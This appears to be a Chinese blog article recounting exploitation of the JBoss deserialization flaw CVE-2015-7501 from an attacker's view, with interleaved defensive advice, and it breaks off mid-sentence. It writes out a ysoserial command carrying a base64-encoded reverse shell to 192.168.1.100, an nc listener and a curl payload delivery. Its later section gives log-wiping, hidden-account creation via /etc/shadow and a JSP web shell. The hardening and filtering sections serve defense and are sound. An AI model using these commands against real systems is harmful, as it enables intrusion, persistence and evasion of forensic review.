当前位置：首页 > news >正文

从攻击者视角看Java反序列化：利用CVE-2015-7501拿下JBoss服务器的完整复盘

news 2026/4/30 5:58:36

红队视角下的JBoss反序列化漏洞攻防实战

当一台暴露在公网的JBoss服务器遇到未打补丁的JMXInvokerServlet接口时，攻击者只需一个精心构造的序列化对象就能在目标系统上执行任意命令。这种"一发入魂"式的漏洞利用，正是Java反序列化漏洞最危险的特征。让我们从攻击者视角还原整个攻击链，同时站在防御者角度思考如何构建有效防护。

1. 漏洞背景与攻击面分析

2015年曝光的CVE-2015-7501漏洞之所以危险，在于它结合了JBoss的配置缺陷与Apache Commons Collections库的通用反序列化漏洞。攻击者通过向/invoker/JMXInvokerServlet接口发送恶意序列化数据，可以绕过所有安全限制直接执行系统命令。

漏洞核心原理：

JBoss的HttpInvoker组件在处理请求时，未对反序列化操作进行安全检查
Apache Commons Collections 3.2.1版本中存在可利用的Transformer链
攻击者可以构造特殊的HashMap对象，在反序列化时触发命令执行

影响范围包括：

JBoss AS 4.x及更早版本
使用默认配置未删除JMXInvokerServlet的实例
未更新Apache Commons Collections库的环境

2. 信息收集与漏洞探测

红队操作的第一步永远是尽可能全面地收集目标信息。对于JBoss服务器，我们通常会检查以下端点：

/invoker/JMXInvokerServlet /web-console/Invoker /jmx-console/HtmlAdaptor

使用curl进行快速探测：

curl -I http://target:8080/invoker/JMXInvokerServlet

如果返回HTTP/1.1 200 OK且内容类型为application/x-java-serialized-object，则极可能存在漏洞。相比之下，健康系统应返回404或403状态码。

防御视角：

定期扫描网络资产暴露的JBoss管理接口
监控/invoker/*路径的非正常访问
分析日志中的序列化异常警告

3. 攻击工具链准备

现代红队行动离不开成熟的工具链支持。针对CVE-2015-7501，我们需要准备：

反序列化利用工具：

git clone https://github.com/ysoserial/ysoserial.git cd ysoserial mvn clean package -DskipTests

Payload生成器：

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.ser

网络监听工具：
```
nc -lvnp 9999
```

工具选择考量：

ysoserial的多种Gadget链适应不同环境
Base64编码避免特殊字符问题
使用反向Shell保持持久访问

4. 漏洞利用与权限提升

实际攻击过程往往需要多次尝试和调整。以下是典型攻击流程：

# 1. 发送恶意序列化数据 curl http://target:8080/invoker/JMXInvokerServlet \ --data-binary @payload.ser \ -H "Content-Type: application/x-java-serialized-object" # 2. 检查nc监听端口 $ whoami jboss # 3. 权限提升尝试 find / -perm -4000 2>/dev/null

常见问题处理：

问题现象	解决方案
无回显连接	尝试bind shell或HTTP隧道
防火墙拦截	使用DNS/ICMP隧道
权限不足	查找SUID程序或内核漏洞

5. 防御加固与检测方案

蓝队防御需要从多个层面构建防护体系：

1. 基础加固措施：

删除/invoker/JMXInvokerServlet等危险组件
升级Apache Commons Collections到安全版本
配置JBoss安全域限制访问

2. 网络层防护：

<!-- jboss-web.xml 配置示例 --> <security-constraint> <web-resource-collection> <url-pattern>/invoker/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>Admin</role-name> </auth-constraint> </security-constraint>

3. 运行时检测：

部署RASP防护检测异常反序列化
监控java进程的异常子进程创建
分析网络流量中的序列化特征

6. 攻击痕迹清理与持久化

成功的红队行动不仅要获取访问权限，还要保持隐蔽性。攻击者通常会：

清理日志：

find /var/log/jboss -type f -exec sed -i '/192.168.1.100/d' {} \;

创建隐蔽账户：

useradd -M -s /bin/false sysmonitor echo 'sysmonitor:$1$salt$XpZ7gXzJ2JQZ.XpZ7gXzJ2' >> /etc/shadow

部署Web Shell：

<%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); // ...输出处理... } %>

防御检测要点：

监控/etc/passwd和/shadow文件变更
检查crontab和systemd中的异常任务
分析web应用的未授权文件上传

7. 现代环境下的演变与防御

随着技术演进，反序列化漏洞出现了新变化：

新型攻击向量：

基于JNDI注入的利用方式（如Log4Shell）
内存马等无文件攻击技术
云原生环境下的容器逃逸

进阶防御方案：

// 自定义ObjectInputStream过滤类 public class SafeObjectInputStream extends ObjectInputStream { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if(desc.getName().startsWith("org.apache.commons.collections")) { throw new InvalidClassException("Unauthorized deserialization attempt"); } return super.resolveClass(desc); } }

在Kubernetes环境中，还需要特别注意：